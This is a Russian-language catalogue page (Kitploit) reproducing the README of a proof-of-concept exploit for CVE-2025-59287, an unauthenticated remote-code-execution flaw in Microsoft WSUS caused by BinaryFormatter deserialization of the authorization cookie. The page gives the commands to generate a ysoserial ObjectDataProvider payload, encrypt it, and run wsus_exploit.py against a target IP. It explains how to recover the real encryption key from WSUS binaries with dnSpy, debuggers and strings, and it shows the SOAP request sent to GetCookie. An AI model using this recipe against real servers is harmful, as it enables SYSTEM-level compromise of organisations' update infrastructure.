Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-59287-exploit-poc — Доказательство концепции эксплуатации для CVE-2025-59287 — критической неаутентифицированной RCE в WSUS через небезопасную десериализацию BinaryFormatter, позволяющей получить привилегии SYSTEM с помощью специально сформированных зашифрованных cookie. | Kitploit
Инструменты/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Доказательство концепции эксплуатации для CVE-2025-59287 — критической неаутентифицированной RCE в WSUS через небезопасную десериализацию BinaryFormatter, позволяющей получить привилегии SYSTEM с помощью специально сформированных зашифрованных cookie.

Репозиторий
11511 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-59287 Эксплойт Proof-of-Concept

Обзор уязвимости

CVE-2025-59287 — это критическая уязвимость удалённого выполнения кода (RCE) в службе обновления Windows Server Update Services (WSUS) от Microsoft. Уязвимость вызвана небезопасной десериализацией данных AuthorizationCookie через BinaryFormatter в методе EncryptionHelper.DecryptData().

Воздействие: Неаутентифицированные злоумышленники могут добиться удалённого выполнения кода с привилегиями SYSTEM, отправляя вредоносные зашифрованные cookie-файлы на конечную точку GetCookie().

Оценка CVSS: Критическая (9.8)

Детали уязвимости

  • Затронутый компонент: Конечная точка WSUS ClientWebService.asmx GetCookie()
  • Основная причина: BinaryFormatter.Deserialize() вызывается для недоверенных входных данных без надлежащей проверки
  • Вектор атаки: Вредоносный зашифрованный cookie-файл, отправленный на SOAP-конечную точку GetCookie()
  • Требуется аутентификация: Нет (неаутентифицированное RCE)
  • Затронутые порты: 8530 (HTTP), 8531 (HTTPS)

Архитектура

┌─────────────────┐
│   Злоумышленник │
│                 │
│  1. Генерация   │
│     BinaryFmt   │
│     Payload     │
│                 │
│  2. Шифрование  │
│     Payload     │
│                 │
│  3. Отправка    │
│     SOAP-запроса│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS-сервер   │
│                 │
│  GetCookie()    │
│  Endpoint       │
│                 │
│  DecryptData()  │◄─── Уязвимый
│                 │
│  BinaryFormatter│◄─── Небезопасная десериализация
│  Deserialize()  │
│                 │
│  Выполнение     │◄─── RCE как SYSTEM
│  Payload        │
└─────────────────┘

Структура файлов

exploit-poc/
├── wsus_exploit.py                    # Основной скрипт эксплойта
├── BinaryFormatterPayloadGenerator.cs # Генератор .NET payload (C#)
├── encrypt_payload.py                 # Вспомогательный скрипт шифрования WSUS
├── requirements.txt                   # Зависимости Python
└── README.md                          # Этот файл

Предварительные требования

Окружение Python

pip install -r requirements.txt

.NET Framework (для генерации payload)

  • Windows с .NET Framework 4.0 или новее
  • Или используйте ysoserial.net как альтернативу

Использование

Метод 1: Полный рабочий процесс

Шаг 1: Генерация BinaryFormatter Payload

Вариант A: Использование предоставленного генератора на C#

# Компиляция генератора
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Генерация payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Создаёт: payload_YYYYMMDDHHMMSS.bin

Вариант B: Использование ysoserial.net (рекомендуется)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Шаг 2: Шифрование Payload

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

ВАЖНО: Ключ шифрования в encrypt_payload.py является заглушкой. Для реальной эксплуатации необходимо:

  1. Восстановить фактический ключ шифрования из бинарных файлов WSUS
  2. Обновить encrypt_payload.py реальным ключом
  3. См. раздел «Поиск ключа шифрования WSUS» ниже

Шаг 3: Выполнение эксплойта

# Использование файла payload (будет зашифрован на лету)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Использование предварительно зашифрованного cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# С HTTPS (порт 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Метод 2: Быстрый тест

# Генерация, шифрование и эксплуатация за один раз
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

Поиск фактического ключа шифрования WSUS

Ключ шифрования должен быть извлечён из бинарных файлов WSUS для реальной эксплуатации.

Метод 1: Обратная разработка с dnSpy

  1. Найдите DLL-файлы WSUS:

    %ProgramFiles%\Update Services\WebServices\bin\
    

    Или веб-каталог IIS:

    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. Откройте в dnSpy (бесплатный декомпилятор .NET):

    • Скачать: https://github.com/dnSpy/dnSpy
    • Откройте Microsoft.UpdateServices.WebServices.dll
  3. Найдите EncryptionHelper:

    • Перейдите к пространству имён: Microsoft.UpdateServices.WebServices
    • Найдите класс EncryptionHelper
    • Посмотрите на методы DecryptData() и EncryptData()
    • Извлеките ключ шифрования и алгоритм
  4. Типичные шаблоны:

    • Жёстко заданные массивы байтов
    • Строковые константы
    • Вывод ключа из GUID/SID машины

Метод 2: Анализ во время выполнения

  1. Используйте WinDbg или x64dbg:

    • Установите точку останова на EncryptionHelper.DecryptData()
    • Проверьте память/регистры на предмет ключевого материала
    • Отслеживайте операции шифрования/дешифрования
  2. Используйте Process Monitor:

    • Отфильтруйте по процессу WSUS
    • Ищите доступ к реестру/конфигурационным файлам
    • Ключи могут храниться в реестре

Метод 3: Статический анализ

  1. Используйте IDA Pro или Ghidra:

    • Загрузите бинарные файлы WSUS
    • Ищите строки, связанные с шифрованием
    • Анализируйте алгоритмы вывода ключей
  2. Используйте утилиту strings:

    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

Обновление эксплойта

После получения фактического ключа обновите encrypt_payload.py:

# Замените эту строку в encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ЗАГЛУШКА

# На фактический ключ:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

Или передайте его через командную строку:

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

Поток эксплойта

┌─────────────────────────────────────────────────────────────┐
│ 1. Генерация BinaryFormatter Payload                        │
│    ObjectDataProvider → Process.Start() → Выполнение команды│
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Шифрование Payload                                       │
│    AES-128-CBC с ключом шифрования WSUS                     │
│    Кодирование Base64 для передачи                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Создание SOAP-запроса                                    │
│    Заголовок AuthorizationCookie содержит зашифрованный payload│
│    Метод GetCookie() в теле SOAP                            │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Отправка на конечную точку WSUS                          │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Порт 8530 (HTTP) или 8531 (HTTPS)                        │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Обработка WSUS                                           │
│    DecryptData() расшифровывает cookie                      │
│    BinaryFormatter.Deserialize() выполняет payload          │
│    → RCE как SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

Структура SOAP-запроса

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
Скачать инструмент